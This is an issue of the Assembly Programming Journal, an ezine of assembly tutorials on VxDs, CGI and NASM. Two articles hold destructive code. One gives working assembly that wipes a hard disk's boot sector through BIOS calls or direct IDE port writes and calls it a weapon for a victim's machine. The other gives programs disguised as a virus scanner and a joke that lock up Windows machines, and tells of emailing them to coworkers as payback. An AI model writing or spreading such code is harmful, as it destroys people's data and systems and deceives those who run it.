```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.                                          Sept 00-Aug 01
:::\_____\::::::::::.                                         Issue 9
::::::::::::::::::::::.........................................................

            A S S E M B L Y   P R O G R A M M I N G   J O U R N A L
                      http://asmjournal.freeservers.com
                           asmjournal@mailcity.com
```

T A B L E   O F   C O N T E N T S


```
----------------------------------------------------------------------
       ++++++++++++++++++Issue Challenge+++++++++++++++++
              Code a fast pattern matching algorithm
----------------------------------------------------------------------


::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::...............................................INTRODUCTION
                                                              by Tiago Sanches
```

Finally, issue 9 is out!

After a long, long time APJ is back. What happened?

Well, mainly due to mammon_'s lack of free time to handle everything concerning the journal by himself and whatnot (which may have led to a shortage of contributions), APJ had to be discontinued as of last year. The good news are that the journal is back, many people have volunteered to help out and so in the future a staff may actually be a reality, allowing things to run smoother than they have. On a side note, mammon_ is still administrating the journal, even if time constraints don't allow him to get as involved in its management as before.

Anyway, about this issue, there are articles ranging from CGI programming, written by Michael Pruitt, to the continuation of Chris Hobbs' gaming series (that Chili prepared for ASCII distribution). A new column has also been created, concerning the emerging PalmOS platform, featuring a very good introductory article by Latigo.

G. Adam Stanislav contributed another article for the Unix side, along with Feryno Gabris, who presents an ELF compressor, whose text may look somewhat cryptic at first if not for the source code provided, both NASM oriented. Also for NASM, therain shows how to write VxDs and Jonathan Leto provided an article for the beginning assembly programmer.

To close the list is a "back to the stone age" low-level programming article by Kalmykov.b52 for when everything you have is MS-DOS and, lastly, it's Jan Verhoeven's payback day as he says: "This time the joke is on you!".

All in all this issue is packed with very good articles, not mentioning the great trigonometry macros by Eoin O'Callaghan in the snippets section, as well as some other pieces of code from Jake Bush and at the end the issue challenge that this time focuses on pattern matching algorithms, featuring a great work done by Steve Hutchesson along with code presented by buliaNaza.

Just a reminder for contributers on submission guidelines: articles must be written in English and may focus on any aspect of assembly language for any level of programming, but remember that they must be in ASCII text format. Here are some rules to follow:

```
    - lines should have a maximum of 80 characters (including the 'New Line'
      character), with no left or right margins.
    - article subsections should consist of a subsection name, a following line
      of hyphens to underscore and be preceded by two carriage returns.
    - Paragraphs should not be indented and must be seperated by a blank line.
    - Code indentation (opcodes) should be about 8 chars.
    - Don't use TABs, use spaces instead!
```

That said, remember to supply a name or handle and a title for the article and check the contents of the current issue for a general idea of the magazine's format. You can mail the articles, snippets or any other contribution to me at:

    sanches@host.sk

Hopefully, with your help, issue 10 will be out faster than this one and the journal can start being released on a regular basis again.

As mammon_ would say, enjoy the mag!

Tiago Sanches

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
                                                        Programming in extreme conditions
                                                                by Kalmykov.b52
```

INTRODUCTION

What is 'extreme conditions' ? When you are sitting in front of a computer with only MS-DOS installed without any compilers, hex editors, shells, debuggers and you need to recover lost data, delete virus, or write a new one. This is an extreme conditions. Most of programmers won't be able to do anything, most of administrators think that this computer is 100% secured. But this won't stop the assembler programmer ...

I have chosen pure MS-DOS as the operation system to program for because in Windows there are many things that will easier this task (e.g. in Windows 98 there is-built in browser with VBScript and Java Script interpretators so you can easy write a hex-editor and more).

This article will be interesting as for the beginners and experienced programmers. Also I recommend it to hackers, administrators, and anybody who wants to feel the spirit of low-level programming, which now is disappearing with the previous programmers generation generation.

THE BEGINNING

To read and understand this you will need this minimum: the knowledge of Assembler, experience working with MS-DOS. Also you will need the list of x86 instructions opcodes, ASCII table, and lot of free time. First of all, we need some kind of text editor. But the administrator removed EVERYTHING that could help us. There is only one thing that differs a good programmer from any other- It's the deep knowledge of everything he works with. If works with DOS he knows everything about it. There is undocumented functions that opens a tiny text editor, but that's enough. Enter this DOS command:

```
C:\copy con test.com
```

You will run the text editor. This is our instrument. But we still don't know how to write binaries. If you will look to official MS-DOS manual, you'll find the answer. Using ALT key and the numeric keyboard you can create binaries. First of all check if the NUMlock is on. Now press ALT, type 195, now release ALT. To save file and exit press CTRL-Z and hit enter. Now run it. It doesn't do anything but it doesn't halt the system. If you disassemble it you will find that test.com consists of only one operand RETN. As you already guessed opcode of RETN (195 == 0xC3), and in decimal it is 195.

ADVANCED

Well, It was easy. Now try to enter this:

```
ALT-180 ALT-09 ALT-186 ALT-09 ALT-01 ALT-205 ! ALT-195 ALT 32 Hi,world!$
```

Than press CTRL-Z and hit enter. It is clear that this program that prints "Hi,world!". Let's disassemble it:

```
49E0:0100                       start:
49E0:0100  B4 09                               mov     ah,9
49E0:0102  BA 0109                             mov     dx,offset data_1
49E0:0105  CD 21                               int     21h ; DOS Services
                                                           ; ah=function 09h
                                                           ; display char
                                                           ; string at ds:dx
49E0:0107  C3                                   retn
49E0:0108  20                                   db      20h
49E0:0109  48 69 20 21 21 21    data_1          db      'Hi,world!$
                                                        ; xref 49E0:0102
```

I hope you know about the reversed order in machine word (ALT-09 ALT-01 = 109). Also, in order to show the beauty of this method, I used symbol '!' == 0x21 to call interrupt 0x21. So knowing ASCII codes can easier your life. But why we need this symbol (20h == ALT-32 == " ") at 49E0:0108 ?
This is the main problem of this method. Using ALT and numeric keyboard we

```
cannot enter some symbols. Here is a list of them:

        0,3,6,8,16(0x10),19(0x13),27(0x1b),255(0xFF)

You will need to avoid this symbols. If you look at the code, you'll see that
the real offset is 0x108. After adding a symbol the offset became 0x109.
Actually there is more elegant way to do it:

        mov     dx,109
        dec     sx

These two variants are equal (dec dx == 1 byte) and you chose what suits you
best. Another problem is finding offset of variables and labels. You can write
program on the paper, giving to variables symbolic names, and then the
program will be ready it will be easy to find necessary offsets and address.
Another possibility is declaring all variables before their usage:

        mov     ah,9
        jmp     sort $+20
        db      'Hi,world!'$
        mov     dx,0x100+2+2; 0x100 - the base adress,2 - lengh of
                            ; mov  ah,9, 2 - lengh of jmp

jmp short $+20 - reserves 20 bytes for the string. This method could be also
used for labels.


THE EXAMPLE
-----------
I think you are tired of these theoretical programming and feel ready to see
this method in work. As illustration we will to create a program that erases
the boot sector. Attention ! The usage of this program in order to destroy
information is a crime. You should use it only for experimental purpose.

First of all, let's write it on assembler:

B80103   mov     ax,00301
B90100   mov     cx,00001
BA8000   mov     dx,00080
CD13     int     013
C3       retn

As you see we have one #0 and two #3. Let's modify the program to avoid them:

        xor     ax,ax
        mov     ds,ax
        mov     ax,00299
        inc     ax
        inc     ax
        xor     cx,cx
        inc     cx
        mov     dl,80
        mov     bx,13h*4
        pushf
        cli
        push    cs
        call    dword ptr [bx]
        retn

Maybe it's quite a hard example. The assembler programming and interrupts
are not really the subject of this article. I can only forward you to the other
references that you can easily find on the Internet. Fortunately
(or unfortunately, depends on readers orientation), in BIOS there is a boot
write protection (sometimes it's called "Virus warning").It will block any
efforts to modify the main boot sector.

For example, running this program under Windows 98 operation system will take
no effect. But we still can work with hard drive I/O ports on a low-level.
Here is an example of program that will erase main boot sector, through hard
drive I/O ports:

        mov     dx, 1F2h
        mov     al,1
        out     dx,al
        inc     dx
        out     dx,al
        inc     dx
        xor     ax,ax
        out     dx,al
        inc     dx
        out     dx,al
        mov     al, 10100000b
        inc     dx
        out     dx,al
        inc     dx
        mov     al,30h
        out     dx,al
        lea     si, Buffer
        mov     dx, 1F0h
        mov     cx, 513
        rep     outsw

I don't know any popular protection that can track and block that program.
However, that doesn't refer to Windows NT, this OS won't allow any program
without necessary privileges to work with ports, even more it will close
the application's window. Preparing this example for entering it using ALT
and optimizing It's size I will leave as an exercise to the readers.That's all:
enter this in victims machine and you have powerful weapon. I recommend to use
it very carefully.


ENDING
------
It's not easy. All this requires a lot of experience and talent but gives you
incredible power on machine(and i hope you won't be using this power for
```

destruction). All this looks quite unuseful, you can say that you won't need it - but who knows?.. Nowdays programmer depends on the powerfull development tools (compilers, debuggers, editors) and when he stay alone with 'nature' he cannot control the situation anymore - he cannot control the machine.

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::.............................................FEATURE.ARTICLE
                                                                Pestcontrols
                                                                by Jan Verhoeven
```

Are you plagued now and then by friends and relatives who send you funny pictures (mostly with a lot of "beneath the belt content") via E-mail?

I used to have them. I got rid of these pests.

How I did it? I sent back some nice programs. And if they run Outlook Express, they can't resist to open the attachment.

What I do is NOT make a virus. It is at best a trojan horse, but in fact it doesn't even come close to a trojan. No harm is done (intentionaly) unless the victim is a real moron and starts an unknown executable.

Pestcontrol 1: the virus scanner

Most of the afore mentioned morons know of the exsitence of virus scanners. So they will be more than eager to try out the latest one, especially if it is as compact as this one:

```
name scan

lf equ 10
cr equ 13

mov dx, offset text
mov ah, 9
int 021 ; show some message

back: cli ; disable keyboard etc
jmp back ; and do it again

mov ax, 04C00 ; by the time pigs can fly, ...
int 021 ; ... the program is halted.

text db 'Scanning your system....', cr, lf
db 'Please wait a minute. $'
db 1023 dup (073)
```

Yes, you are right, this COM file is something like 1 Kb in size. You can easily control the size by adjusting the value in the last line. Make sure to remain well under the 64K limit else the file cannot be a COM file anymore and there is a chance that a wraparound will occur in which you main routine will be overwritten.

I hesitate to explain the program. It's so damned simple. In part 1 the message is printed to the screen. In part 2 the computer is crippled and in part 3 the program returns to the command interpreter, only this point is never reached.... :o)

Believe me: people will wait HOURS before they get worried and try to Alt-Ctrl-Del themselves a way out of this problem. Only to find out that their efforts are in vain.
If this program is run from within a DOS box under WIndows, and the user had a lot of other tasks open, he will loose any unsaved work. And if he or she is on a network, it may be crippled as well.

So be a little bit careful who you treat to this attachment.....

Pestcontrol 2: something funny

We all like jokes, don't we? So we send eachother large breasted foto's and such. I have a joke to send back to these persons. It's a real funny program, believe me. And efficient.

```
name funny

cli ; disable keyboard and interrupts
cld ; make sure we move upwards
mov ax, 0A000 ; point to start of VGA pixel RAM
mov es, ax
mov ds, ax
L1: cli ; INT's off again, just in case...
mov cx, 08000
mov ax, 0
mov di, ax
mov si, ax
L0: cli ; did I turn of INT's?
lodsw ; fetch word from VGA screen
xor ax, ax ; clear it
stosw ; and store it
loop L0 ; loop back to CLI instruction
cli ; and turn off interrupts
jmp L1 ; before jumping back to the CLI.
```

```
db 22K dup ('? ') ; add some more muscles.
```

This is a real nasty program. One of the guys at work (two windows away from my place; I could see the results...) had been sending me several 500 Kb funnies. I asked him to remove me from his mailing but he didn't listen. So I shot back (hey, it was self defence!).

The first part of the program kills the keyboard and other interrupts, whereas the second part plays a nasty trick on the user screen. I assume the user is running Windows on a VGA screen.... It keeps on pumping ZERO's into display memory in a loop that's almost impossible to stop. If the CPU would manage to enable interrupts again it will loose control after another few nanoseconds (on modern CPU's) or microseconds (on older ones).

The result is devastating: they run the FUNNY.EXE (if there is no MZ in the exe-header, the program is considered a COM file) and the screen turns black immediately and they loose all control of the machine. The three fingered salute will not help. The only option is to pull the plug.

This executable did the trick. Four requests to relieve me from his mail assaults did not work. One counterattack with my Funny Exe was effective immediately.

Afterthoughts

Yes, these programs are nasties. They should NOT be copied or used too soon. On the other hand, Windows is so clumsily programmed (there should be IO Privileges on task switching instructions like IN, OUT and CLI but there aren't) that it enables malicious software to cause the effects they do.

Reminder

The code published here is GNU GPL. Don't try this at home.

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::.................................WIN32.ASSEMBLY.PROGRAMMING
                                                       How to write VxDs using NASM
                                                       by therain
```

I.   About the readers and article's files overview
II. MASM vs NASM : Syntax overview
III. A skeleton VxD
IV. More VxD examples
V.   FAQs
VI. About the writer

I. About the readers and article's files overview

This article is aimed at the user that already does little Virtual Device Driver (VxD) progamming using Microsoft's Macro Assembler (MASM). It will only cover how to use the Net Wide Assembler (NASM) to write Virtual Device Drivers and not how to learn VxD programming using NASM.
It is also suggested that the user be familiar with NASM or read NASM DOC.

As for the files in this article:

```
NASMVXD.TXT     -   This article.
VXDN.INC        -   Contains VxD related definitions and macros for NASM.
WINDDK.INC      -   This is used by VXDN.INC and should'nt be directly included
                    by you. It contains VxD related EQU's and it also has VxD
                    services covering VMM,Shell,Debug,...
```

II. Overview about MASM & NASM

It is time to mention that NASM was never intended to produce VxD files and you won't be able to produce any without the include files from this package and without Microsoft's Incremental Linker (LINK.EXE).

Okay, now the syntax differences between MASM & NASM.

Processor Mode:

To enable the use of 386+ protected mode instructions you used to put a '.386p' in MASM, no need for that in NASM, however you have to explicitly set the default bitness to 32 via the 'BITS 32' directive (and to 16 in the real mode initialization segment).

```
    MASM: .386p
    NASM:    BITS 32
```

Segments specification:

MASM has lot of segments declaration macros unlike NASM in which you have to name the segment as you stated it in the .DEF file.

The 5 basic segment definition macros are:

```
    MASM:                    NASM:            Description
    -----                    -----            -----------
    VxD_CODE_SEG/ENDS        segment _LTEXT   Protected mode code seg.
    VxD_DATA_SEG/ENDS        segment _LDATA   Protected mode data seg.
    VxD_ICODE_SEG/ENDS       segment _ITEXT   Protected mode initialization
                                              code segment. (usually optional)
    VxD_IDATA_SEG/ENDS       segment _IDATA   Protected mode initialization
                                              data segment. (usually optional)
```

```
    VxD_REAL_INIT_SEG/ENDS   segment _RTEXT   Real mode initialization
                                              segment. (optional too)

Notice that NASM does not need a segment closing macro unlike MASM.

To start a new segment just declare it like 'segment _LTEXT' and everything
after that line will go to that segment.

Please do not use the intrinsic form of the segment macro (e.g.
[segment _LTEXT]) as certain VxD macros rely on saving/restoring the current
segment and they would fail should you use the intrinsic form.

Check the FAQ for a brief segment overview or NASMDOC.TXT for full overview.

Virtual Device Desciptor Block (DDB) Declaration:
-------------------------------------------------

    MASM:
    -----
    Declare_Virtual_Device Name, MajorVer, MinorVer, CtrlProc, DeviceNum,
                           InitOrder, V86Proc, PMProc, RefData

    NASM:
    -----
    Due to the fact that NASM does not support string concatenation in macros
    yet (there exist patched versions which do), the declaration is a bit
    different:

    Declare_Virtual_Device Name, 'Name', MajorVer, MinorVer, CtrlProc,
                           DeviceNum, InitOrder, V86Proc, PMProc, RefData

    Params 5 to 9 are optional, since most of the time they are generic (not
    used).

    The extra parameter is 'Name' which will become the DDB_Name field in the
    DDB (this is the name by which the VxD will be known to the VMM), Name
    itself determines the name for the Control Procedure and the Service Table
    (if used).

    The DDB must be declared inside the _LDATA segment.

    Example:

    segment _LDATA
    Declare_Virtual_Device SAMPVXD1, 'SAMPVXD1', 1, 0, SAMPVXD1_Control

Control Procedure Definition:
-----------------------------

    MASM:
    -----
    Begin_Control_Dispatch NAME
        Control_Dispatch Message,Proc
    End_Control_Dispatch

    NASM:
    -----
    This will be a little new for you since you have to do it by hand and not
    by similar macros:

    segment _LTEXT

    VXDNAME_Control:
        cmp  eax,VM_INIT
        je   OnVmInit

        cmp  eax,W32_DEVICEIOCONTROL
        je   OnDIOC

        cmp  eax,
        je

        clc  ; At any time during initialization, a virtual device can set the
             ; carry flag and return to the VMM to prevent the virtual device
             ; from loading. This means that the carry flag must be cleared to
             ; allow loading.

        retn

    OnVmInit:
        ; Do some code
        ret

    OnDIOC: ; OnDeviceIoControl
        ; ESI points to a DIOCParams struct
        cmp   word [esi+DIOCParams.dwIoControlCode],MY_DIOC_CODE
        je    domycode

        retn   ; Don't forget to put a return as you're used to put a
               ; "EndProc procname"

Any Other procedure Definition
------------------------------
Using NASM's normal procedure definition you can define a new proc as
usual: "procname :".
As for calling conventions you have to access the stack yourself or use some
other NASM macros.

Using VxdCall and VMMCall
-------------------------
In NASM you can call: VMMCall Service,param1,{param2},[ [{]param3[}] ],....


III. A skeleton VxD
--------------------
```

```
A skeleton VxD will be a very basic VxD enough to be loaded correctly and do
nothing more than taking up memory. =)

In NVXDSKEL.DEF you can specify if it will be a DYNAMIC or a STATIC VxD like:

VXD MYVXD DYNAMIC  ; dynamic vxd
VXD MYVXD          ; static vxd

NVXDSKEL.DEF
------------

VXD NVXDSKEL DYNAMIC

SEGMENTS
  _LTEXT      CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  _LDATA      CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  _TEXT       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  _DATA       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  CONST       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  _ITEXT      CLASS 'ICODE'   DISCARDABLE
  _IDATA      CLASS 'ICODE'   DISCARDABLE
  _PTEXT      CLASS 'PCODE'   NONDISCARDABLE
  _PDATA      CLASS 'PDATA'   NONDISCARDABLE SHARED
  _STEXT      CLASS 'SCODE'   RESIDENT
  _SDATA      CLASS 'SCODE'   RESIDENT
  _DBOSTART   CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
  _DBOCODE    CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
  _DBODATA    CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
  _RCODE      CLASS 'RCODE'

EXPORTS
  NVXDSKEL_DDB @1

NVXDSKEL.ASM
------------

bits 32

%include "vxdn.inc"

segment _LDATA

Declare_Virtual_Device NVXDSKEL,'NVXDSKEL',1,0,NVXDSKEL_Control

segment _LTEXT

NVXDSKEL_Control:
        clc
        retn

Assembling and linking:
-----------------------
* To assemble you must have NASM v0.98+
NASM NVXDSKEL.ASM -f win32
LINK NVXDSKEL.OBJ /VXD /DEF:NVXDSKEL.DEF

That's it!


IV. More VxD examples
---------------------
This example will show the use of VMMCall and VxDCall

VXDSAMP1.DEF
------------

VXD VXDSAMP1 DYNAMIC

SEGMENTS
  _LTEXT      CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  _LDATA      CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  _TEXT       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  _DATA       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  CONST       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
  _ITEXT      CLASS 'ICODE'   DISCARDABLE
  _IDATA      CLASS 'ICODE'   DISCARDABLE
  _PTEXT      CLASS 'PCODE'   NONDISCARDABLE
  _PDATA      CLASS 'PDATA'   NONDISCARDABLE SHARED
  _STEXT      CLASS 'SCODE'   RESIDENT
  _SDATA      CLASS 'SCODE'   RESIDENT
  _DBOSTART   CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
  _DBOCODE    CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
  _DBODATA    CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
  _RCODE      CLASS 'RCODE'

EXPORTS
  VXDSAMP1_DDB @1

VXDSAMP1.ASM
------------

bits 32

%include "vxdn.inc"

segment _LDATA

Declare_Virtual_Device VXDSAMP1,'VXDSAMP1',1,0,VXDSAMP1_Control

segment _LTEXT

VXDSAMP1_Control:
        cmp  eax,W32_DEVICEIOCONTROL
        je   OnDIOC
```

```
        clc
        retn

OnDIOC:
        cmp  dword [esi+DIOCParams.dwIoControlCode],1
        je .1

        xor  eax,eax
        jmp .ret .1:

        VMMCall Get_Sys_VM_Handle

        xor   esi,esi ; no callback
        xor   edx,edx ; no ref data for callback
        mov   eax,0
        mov   ecx,Msg
        mov   edi,Title
        VxDCall SHELL_Message .ret:
        retn

segment _LDATA
Msg   db 'Hello world!',0
Title db 'Title!',0
```

And another example that calls Int21/Ah=02,dl=7 to beep.

VXDSAMP2.ASM

```
bits 32

%include "vxdn.inc"

segment _LDATA

Declare_Virtual_Device VXDSAMP2,'VXDSAMP2',1,0,VXDSAMP2_Control

segment _LTEXT

VXDSAMP2_Control:

        cmp  eax,W32_DEVICEIOCONTROL
        je   OnDIOC

        clc
        retn

OnDIOC:
        cmp  dword [esi+DIOCParams.dwIoControlCode],1
        je .1

        xor  eax,eax
        jmp .ret .1:
        VxDCall Begin_Nest_V86_Exec

        mov word [ebp+CRS.EAX],0x0200
        mov word [ebp+CRS.EDX],0x0007
        mov eax,0x21

        VxDCall Exec_Int

        VxDCall End_Nest_Exec .ret:
        retn
```

Use .DEF like previous example but change name to the new VxD name.

To test the last two examples, just open the VxD with CreateFileA() and then issue a DeviceIoControl() with code 1.

V. FAQs

Q) Where can i get NASM and LINK from?
A) As for NASM you can get it from:
    http://www.web-sites.co.uk/nasm/
   As for LINK.EXE you can get it from the DDK or just download the MASM Pack
   from http://win32asm.cjb.net

Q) How can i add new services and use them with NASM?
A) You can start by defining:

```
   MyDevice_DeviceID equ 0x1234 ; must be word
```

   and then define a service table like:

```
   Begin_Service_Table MyDevice
      VMM_Service MyService0                 ; 0x0000 ord
      VMM_Service MyService1                 ; 0x0001 ord
      VMM_Service MyServiceN                 ; ord N
   End_Service_Table MyDevice
```

VI. About the writers

Me as therain, would like to credit:

fOSSiL
  &
The Owl - For creating VXDN.INC and
           for showing how to write VxDs in NASM in the first place
           by demonstrating it in IceDump (visit: http://icedump.tsx.org).
           And for reviewing/editing this document.

Iczelion - For his awesome win32asm resource site and for his
          good VxD tutorials. (visit: http://win32asm.cjb.net)

UKC Team - For their support.

[The VXDN.INC and WINDDK.INC files can be obtained from

http://asmjournal.freeservers.com/files/nasmvxd.zip

where they have been archived along with the text of the article.]

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::.................................WIN32.ASSEMBLY.PROGRAMMING
                                                Common Gateway Interface using PE console apps
                                                                by Michael Pruitt
```

CGI: Tutorial 01: Supplying Dynamic Data to a Web Client

In the early '90s the NCSA released HTTPd 1.0 (a web server), a new concept was included; CGI. This feature allowed web content to be dynamically generated on the server. Up-to-date reports of stocks, scores, and weather were possible with CGI. Other uses include message boards, guest books, or e-stores.

Typically a CGI application will interface with a Mosaic type web browser; supplying HTML with the data. When the server recieves a request targeting a CGI program, it will lauch the application. Any data from the client will be piped to StdIn. The app's StdOut will then be sent back to the client.

Tools Needed

This tutorial is written for FAsm (http://omega.im.uj.edu.pl/~grysztar/). If you wish to assemble the program, you will need FAsm 1.13.4 (or later) or you can translate it to an assembler supporting 80x86 PE console.

For any CGI testing access to a web server is a must. I recommend Apache 1.3.20 (http://httpd.apache.org/). For starting out, you can place your assembled executable into the \Apache\cgi-bin\ directory. For the server name use "localhost" (excluding the quotes).

Knowledge of HTML (HyperText Markup Language) is usefull. The basics of HTML are easy to learn. CSS (Cascading Style Sheets) will prove invaluable if you use a lot of HTML. A list of books is provided at the end of this article.

A Win32 platform. My system consist of Win 98 SE on a Celeron 433 w/ 128MB RAM. Win 95 - NT should work without issues. A Linux box running WINE shoud also work for those with a strong stomach.

Win32 API

Since everything a CGI application does is non GUI, the kernal32.dll will suffice for most projects. Database intensive app's will link to other dll's to better implement designs.

To access the Standard I/O, will need to use GetStdHandle. Under Win32, StdIO is not availiable under predefined handles. ReadFile and WriteFile is used to move data. ReadConsole and WriteConsole will not work; file redirection in not availiable.

CGI Environment

A CGI program is not required to read data, but it is required to send it. Client data is availiable on the StdIn. The length is in the CONTENT_LENGTH environment variable. Also, 255 bytes of the data is in the QUERY_STRING EnvVar. All out put must start with "Content-Type:" a space, the type, and two newlines (CrLf). Common types include: "text/plain", "text/html", or "image/gif". Example output:

```
        Content-Type: text/plain

        Hello World. Example of HTTP 1.1 header and body.
```

If you don't write any data, the web server will report with the error: "Premature end of script headers". If you really don't want to supply data, you could just write: "Content-Type: text/plain" and two newlines.

The Example Program

The program I've supplied writes HTML containing the current date and time. It demonstrates use of API's, HTML, data manipulation.

```
~~~~~~~~~~~~~~~~~~|||-------------------[code]-------------------|||
format PE console
entry Start

include '\Asm_Win32\Include\_Kernel.inc'
include '\Asm_Win32\Include\macro\stdcall.inc'
include '\Asm_Win32\Include\macro\import.inc'

   Cr    = 0x0D
   Lf    = 0x0A ;***-------------------------------------------------------------***
section '.code' code readable executable
Start:
```

```
    pusha ;Save all of the Registers
    stdcall [GetStdHandle], STD_OUTPUT_HANDLE ;Retrive the actual handle
    mov     [StdOut], eax
    cmp     eax, INVALID_HANDLE_VALUE ;Error with handle
    jz      Exit

Get_Time:
    stdcall [GetSystemTime], Time ;Load SYSTEMTIME with UTC
    call    Format_Time ;Convert Hex(bin) to ascii
                                             ; and Place into HTML
Write:
    stdcall [WriteFile], [StdOut], HTML, HTML._size, HTML.Len, 0 ;Write the HTML to StdOut
Exit:
    popa ;Restore all of the Registers
    stdcall [ExitProcess], 0 ;***-------------------------[Subroutine]--------------------------***
Format_Time:
    mov     ax, [Time.wYear] ;16b Data
    mov     edi, HTML.Date_S + 9 ;Ptr to LAST byte of dest
    call .ascii ;Convert and place into HTML

    mov     ax, [Time.wDay]
    mov     edi, HTML.Date_S + 4
    call .ascii

    mov     ax, [Time.wMonth]
    mov     edi, HTML.Date_S + 1
    call .ascii

    mov     edi, HTML.Day_S ;Destination Ptr
    mov     esi, Day.Wk ;Source Ptr (Array of Days)
    xor     eax, eax
    mov     ax, [Time.wDayOfWeek] ;0 <= eax < 7
    add     esi, eax                         ;esi =+ eax * 3
    add     esi, eax                         ; Indexes the Array
    add     esi, eax
    mov     ecx, 3                           ;3B per Day String
    cld                                      ;Copy Left to Right
    rep                                      ;    (esi++, edi++)
    movsb

    mov     ax, [Time.wHour]
    cmp     al, 13                           ;Check for PM
    jl      .wHour
    sub     al, 12                           ;Correct Hour
    mov     [HTML.Time_S + 9], 'P'           ; AM -> PM .wHour:
    mov     edi, HTML.Time_S + 1
    call .ascii

    mov     ax, [Time.wMinute]
    mov     edi, HTML.Time_S + 4
    call .ascii

    mov     ax, [Time.wSecond]
    mov     edi, HTML.Time_S + 7
    call .ascii
    ret ;***---------------------[Import Table / IAT]---------------------*** .ascii:
    std ;String OPs Right to Left
    cmp     ax, 10 ;Single Digit?
    jl .onex10

    and     ah, ah ;Only Two Digits
    jz .twox16

    mov     bh, 10 ;Reduce 3x16 to 2x16
    div     bh                               ;  so that AAM can be used
    or      ah, 0x30 ;BCD -> ASCII
    mov     [edi], ah
    dec     edi .twox16:
    aam                                      ; AH / 10 = AH r AL
    or      al, 0x30 ;BCD -> ASCII
    stosb
    mov     al, ah
    cmp     ah, 9
    jg .twox16 .onex10:
    or      al, 0x30
    stosb ;Copy Last/Only Digit to Mem
    ret ;***--------------------[Data used by this App]--------------------***
section '.data' data readable writeable
  StdIn         dd 0 ;Standard I/O Handles
  StdOut        dd 0

HTML:
db 'Content-type: text/html', Cr, Lf, Cr, Lf
db 'Hello World', Cr, Lf
db '<h1>Hello World</h1>', Cr, Lf
db '<h2>', Cr, Lf
db 'This HTML is dynamicly generated by a PE console Application writen in'
db '80x86 Assembler</h2>', Cr, Lf
db '<h2>It is: ' .Day_S       db 'WkD ' .Date_S      db ' 0/00/0000 ' .Time_S      db ' 0:00:00 AM UTC</h2>', Cr, Lf
                db '', Cr, Lf
HTML._size     = $ - HTML - 1
HTML.Len        dd 0 ;Number of bytes actually wrote

  Time          SYSTEMTIME
  Day.Wk        db 'SunMonTueWedThuFriSat' ;***----------------------[Import Table / IAT]---------------------***
section '.idata' import data readable writeable

library     kernel,             'KERNEL32.DLL'

kernel:
  import    GetModuleHandle,    'GetModuleHandleA',\
            GetCommandLine,     'GetCommandLineA',\
            GetSystemTime,      'GetSystemTime',\
            GetEnvVar,          'GetEnvironmentVariableA',\
            GetStdHandle,       'GetStdHandle',\
```

```
           CreateFile,         'CreateFileA',\
           ReadFile,           'ReadFile',\
           WriteFile,          'WriteFile',\
           CloseHandle,        'CloseHandle',\
           ExitProcess,        'ExitProcess'
_________________|||-------------------[/code]-------------------|||
```

How to Run

You can run this example from the command line since it requires no client data. You can also pipe the data into an html doc and open with IE:

```
    Main > Text.html
```

For the real CGI, place Main.exe into the cgi-bin directory, launch Apache, and type "localhost/cgi-bin/Main.exe" in the address box of IE.

References

```
    SAMS Teach Yourself CGI in 24 Hours
            SAMS 2000                                  $24.99US
            Rafe Colburn                               ISBN: 0-672-31880-6

    CGI by Example
            QUE 1996                                   $34.99US
            Robert Niles & Jeffry Dwight               ISBN: 0-7897-0877-9

    HTML in Plain English - 2nd Edition
            MIS Press 1998                             $19.95US
            Sandra E. Eddy                             ISBN: 1-55828-587-3

    Cascading Sytle Sheets - The Definitive Guide
            O'Reilly 2000                              $34.95US
            Eric A. Meyer                              ISBN: 1-56592-622-6

    Win32 Programming Reference (Win32 API Help file)
            Microsoft 1990-1995                        Free
            http://win32asm.rxsp.com/files/win32api.zip
```


Contact
----
eet_1024@hotmail.com

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::...........................................THE.UNIX.WORLD
                                                        Writing A Useful Program With NASM
                                                                by Jonathan Leto
```

Intro

Much fun can be had with assembly programming, it gives you a much deeper understanding about the inner workings of your processor and kernel. This article is geared towards the beginning assembly programmer who can't seem to justify why he is doing something as masochistic as writing an entire program in assembly language. If you don't already know one or more other programming languages, you really have no business reading this. Many constructs will also be explained in terms of C. You should also be familiar with the command line options of NASM, no sense going over them again here.

Getting Started

So you want to write a program that actually DOES something. "Hello, world" isn't cutting it anymore. First, an overview of the various parts of an assembly program: (For terse documentation, the NASM manual is the place to go.)

The .data section

This section is for defining constants, such as filenames or buffer sizes, this data does not change at runtime. The NASM documentation has a good description of how to use the db,dd,etc instructions that are used in this section.

The .bss section

This section is where you declare your variables.
They look something like this:

```
          filename:       resb    255     ; REServe 255 Bytes
          number:         resb    1       ; REServe 1 Byte
          bignum:         resw    1       ; REServe 1 Word (1 Word = 2 Bytes)
          longnum:        resd    1       ; REServe 1 Double Word
          pi:             resq    1       ; REServe 1 double precision float
          morepi:         rest    1       ; REServe 1 extended precision float
```

```
The .text section
-----------------
